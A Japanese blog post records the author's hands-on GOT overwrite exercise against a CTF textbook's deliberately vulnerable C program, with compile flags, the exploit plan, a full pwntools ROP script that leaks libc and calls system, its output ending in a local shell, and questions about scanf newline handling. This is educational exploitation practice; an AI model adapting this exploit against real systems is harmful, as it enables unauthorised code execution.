はじめに
こちらの記事は、私自身が GOT Overwrite を試しに実践したときのものを、その時、持った疑問などとともに備忘録として投稿するものになります。細かい GOT Overwirte の解説などはいたしません。
記事の最後の方の疑問について分かる方いらっしゃいましたらコメントいただけると幸いです。また、何か間違いがございましたらご指摘ください。
ソースコード
今回使うソースコードは、実践した際の実行ファイルやIDAのファイル、実際に私が書いたエクスプロイト用の Python スクリプトなどと一緒に以下の私の github のリポジトリに上げてあります。内容に関してはREADMEをご覧ください。また、使用する際は自己責任でお願いいたします。
https://github.com/hachan0179/Got_Overwirte_Sample
お手元の環境で使用する場合は以下のコマンドでクローンできます。
$ git clone https://github.com/hachan0179/Got_Overwirte_Sample
また、私は以下の環境にて実践しているため、他の環境ではエクスプロイトについて再現できない場合があります。
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
ソースコードの説明
今回使用するソースコードは、参考書「詳解 セキュリティコンテスト CTFで学ぶ脆弱性攻略の技術」、545頁のソースコードになります。
#include<stdio.h>
#include<unistd.h>
int main(void)
{
char msg[0x10] = {};
void **p;
setbuf(stdout,NULL);
printf("Input message >> ");
fgets(msg, 0x80 , stdin);
printf("Input address >> ");
scanf("%p" , &p);
printf("Input value >> ");
scanf("%p", p);
return 0;
}
こちらのプログラムから、シェルをダッシュすることが目的になります。コンパイルする際は、以下のコマンドで gcc しています。
$ gcc chall_resolve.c -fstack-protector -fcf-protection=none -no-pie -z relro -z lazy -o chall_resolve
解法について
プログラムでは2回の scanf関数で指定したアドレスに任意の数値を書き込むことができます。そのため、基本的な方針は、
cnary が書き換えられたことを検知したときに遷移する __stack_chk_fail関数の .gotのアドレスを ROPGadget に向けて、ROPをすることでシェルを起動する。
という形になります。そして、細かいexploitの手順は以下になります。
- 最初の fgets関数には、printf関数を用いて .gotセクションの __libc_start_main の配置アドレスを出力させたあと、 main関数に再度戻るような ROP を入力する。ここで、 canary の値を書き換えて確実に__stack_chk_fail関数が呼び出されるようにする。
- 次の "Input address >> " が表示されたあとの scanf関数には .gotセクションの __stack_chk_fail関数のアドレスが格納してあるアドレスを入力する。
- 次の "Input value >> " が表示されたあとの scanf関数には ROP最初に使うガジェットのアドレスを入力する。今回は、rsp と fgets関数の入力先である msgのアドレスが同じでないため、それを調整するために適当な回数 pop して ret するガジェットをROPの入り口にしています。
- 3回目の入力をすると ROP が実行されて __libc_start_main のアドレスを出力したあと main関数に戻ってきているので、また最初の fgets関数に対して、適当に読み書きできるアドレスに gets関数で書き込みを行ったあと、その読み込んだ文字列を引数として system関数を起動する ROP を入力する。
- その後の2回分の scanf関数は特筆して書き換えたいものがないので、main関数1週目のときと同じものを入力しています。(書き込みのエラーで止まらなければなんでも大丈夫だとおもいます。)
- そうすると先程組んだ ROP の中の gets関数で入力待ちになるので、"/bin/bash"を入力する。
- bashが奪取される。
実際に書いたスクリプト
#!/usr/bin/env python3
import pwn
addr_rop = {}
addr_rop['pop_pop_pop_pop_ret'] = 0x000000000040129c # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
addr_rop['pop_rdi_ret'] = 0x00000000004012a3 # pop rdi ; ret
addr_rop['ret'] = 0x000000000040101a # ret
def exploit(host,port,bin):
io = pwn.remote(host,port)
pwn.context.arch = 'x86-64'
elf = pwn.ELF(bin)
addr_got = {}
addr_got['__stack_chk_fail'] = elf.got['__stack_chk_fail']
addr_got['__libc_start_main'] = elf.got['__libc_start_main']
addr_plt = {}
addr_plt['printf'] = elf.plt['printf']
addr_plt['fgets'] = elf.plt['fgets']
addr = {}
addr['main'] = elf.symbols['main']
addr['toWrite'] = 0x404040
recv = io.recvrepeat(0.3)
print(f'recv = {recv}')
print('============================ 1st payload ============================')
payload = pwn.flat(
b'\x00' * 0x8,
pwn.pack(addr_rop['ret']),
pwn.pack(addr_rop['pop_rdi_ret']),
pwn.pack(addr_got['__libc_start_main']), # pop rdi
pwn.pack(addr_plt['printf']), # ret
pwn.pack(addr_rop['ret']),
pwn.pack(addr['main']),
b'\x0a'
)
print(f'payload = {payload}')
io.send(payload)
recv = io.recvrepeat(0.3)
print(f'recv = {recv}')
print('============================ 2nd payload ============================')
payload = pwn.flat(
str(hex(addr_got['__stack_chk_fail'])).encode(),
b'\x0a'
)
print(f'payload = {payload}')
io.send(payload)
recv = io.recvrepeat(0.3)
print(f'recv = {recv}')
print('============================ 3rd payload ============================')
payload = pwn.flat(
str(hex(addr_rop['pop_pop_pop_pop_ret'])).encode(),
b'\x00'
)
print(f'payload = {payload}')
io.send(payload)
recv = io.recvrepeat(0.3)
print(f'recv = {recv}')
addr['__libc_start_main'] = pwn.unpack(recv[0:6],word_size='48')
addr['libc-2.31.so'] = addr['__libc_start_main'] - 0x0000000000023f90
addr['system'] = addr['libc-2.31.so'] + 0x0000000000052290
addr_rop['pop_rdx_ret'] = addr['libc-2.31.so'] + 0x0000000000142c92 # pop rdx ; ret
addr_rop['pop_rsi_ret'] = addr['libc-2.31.so'] + 0x000000000002601f # pop rsi ; ret
addr['gets'] = addr['libc-2.31.so'] + 0x0000000000083970 #<_IO_gets@@GLIBC_2.2.5>
print('============================ 4st payload ============================')
payload = pwn.flat(
b'\x00' * 0x7,
pwn.pack(addr_rop['ret']),
pwn.pack(addr_rop['pop_rdi_ret']),
pwn.pack(addr['toWrite']),
pwn.pack(addr['gets']),
pwn.pack(addr_rop['ret']),
pwn.pack(addr_rop['pop_rdi_ret']),
pwn.pack(addr['toWrite']+1),
pwn.pack(addr['system']),
b'\x0a'
)
print(f'payload = {payload}')
io.send(payload)
recv = io.recvrepeat(0.3)
print(f'recv = {recv}')
print('============================ 5nd payload ============================')
payload = pwn.flat(
str(hex(addr_got['__stack_chk_fail'])).encode(),
b'\x0a'
)
print(f'payload = {payload}')
io.send(payload)
recv = io.recvrepeat(0.3)
print(f'recv = {recv}')
print('============================ 6rd payload ============================')
payload = pwn.flat(
str(hex(addr_rop['pop_pop_pop_pop_ret'])).encode(),
b'\x00'
)
print(f'payload = {payload}')
io.send(payload)
recv = io.recvrepeat(0.3)
print(f'recv = {recv}')
print('============================ Send /bin/bash =========================')
payload = b'/bin/bash' + b'\n'
print(f'payload = {payload}')
io.send(payload)
recv = io.recvrepeat(0.3)
print(f'recv = {recv}')
io.interactive()
print('=============================Information=============================')
print('.got __libc_start_main = ',end='')
print(hex(addr_got['__libc_start_main']))
print('addr __libc_start_main = ',end='')
print(hex(addr['__libc_start_main']))
print('addr libc-2.31.so = ',end='')
print(hex(addr['libc-2.31.so']))
print('addr fgets = ',end='')
print(hex(addr_plt['fgets']))
print('addr system = ',end='')
print(hex(addr['system']))
io.close()
if __name__=='__main__':
host = '127.0.0.1'
port = 4000
bin = './chall_resolve'
exploit(host,port,bin)
実行結果
まず socatコマンドで 4000番ポートを開いておきます。
そして、exploit.py を実行してみると期待通りシェルを奪取できていることが確認できます。
recv = b'Input message >> '
============================ 1st payload ============================
payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\xa3\x12@\x00\x00\x00\x00\x00\xf0?@\x00\x00\x00\x00\x00P\x10@\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00f\x11@\x00\x00\x00\x00\x00\n'
recv = b'Input address >> '
============================ 2nd payload ============================
payload = b'0x404018\n'
recv = b'Input value >> '
============================ 3rd payload ============================
payload = b'0x40129c\x00'
recv = b'\x90\xdf[\x10L\x7fInput message >> '
============================ 4st payload ============================
payload = b'\x00\x00\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\xa3\x12@\x00\x00\x00\x00\x00@@@\x00\x00\x00\x00\x00p\xd9a\x10L\x7f\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\xa3\x12@\x00\x00\x00\x00\x00A@@\x00\x00\x00\x00\x00\x90\xc2^\x10L\x7f\x00\x00\n'
recv = b'Input address >> '
============================ 5nd payload ============================
payload = b'0x404018\n'
recv = b'Input value >> '
============================ 6rd payload ============================
payload = b'0x40129c\x00'
recv = b''
============================ Send /bin/bash =========================
payload = b'/bin/bash\n'
recv = b''
[*] Switching to interactive mode
$ ls
chall_resolve
chall_resolve.c
chall_resolve.i64
dump_chall_resolve.txt
dump_libc-2.31.so.txt
exploit.py
libc-2.31.so
README.txt
socat.sh
$ exit
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to 127.0.0.1 port 4000
[*] Got EOF while sending in interactive
=============================Information=============================
.got __libc_start_main = 0x403ff0
addr __libc_start_main = 0x7f4c105bdf90
addr libc-2.31.so = 0x7f4c1059a000
addr fgets = 0x401060
addr system = 0x7f4c105ec290
実践中の疑問について
2週目の fgets 関数が飛ばされてしまう問題
ROP で main関数に戻ったときに fgets関数に入力したいのに何故か入力が飛ばされていた。調べてみると、3回目の入力を
payload = pwn.flat(
str(hex(addr_rop['pop_pop_pop_pop_ret'])).encode(),
b'\x0a'
)
としていたので、scanf関数に入力したときの改行文字が stdinに残っていて fgets関数が stdin から値を読み込むと1文字目に改行文字があるためそこで読み込むのをやめてしまっていたために、fgets関数が飛ばされていた。その解決策として、
payload = pwn.flat(
str(hex(addr_rop['pop_pop_pop_pop_ret'])).encode(),
b'\x00'
)
として、終端をNULLにして、fgets関数で最初にそのNULLから読み込まれるようにすることで fgets関数が飛ばされることを回避し、その分 fgets関数への入力の最初部分を削ることで帳尻を合わせている。また、"/bin/bash"を入力するときも同様で、実際にsystem関数の引数にするときは、書き込んだアドレスには"\x00/bin/bash"と書き込まれるので、書き込んだアドレスに1足した値を引数とすることで帳尻を合わせている。
この問題は scanf関数の終端がどうなるのかという点がいまいち理解できていない為であるが、調べてもいまいち他の解決策を得ることができなかった。そうして、この帳尻を合わせるのではなくでもっと綺麗な方法がないかという疑問が残った。また、stdin に改行文字が残っているのであれば、なぜ一回目のscanf関数のときの改行文字で2回目のscanf関数が飛ばされていないのかという疑問が残った。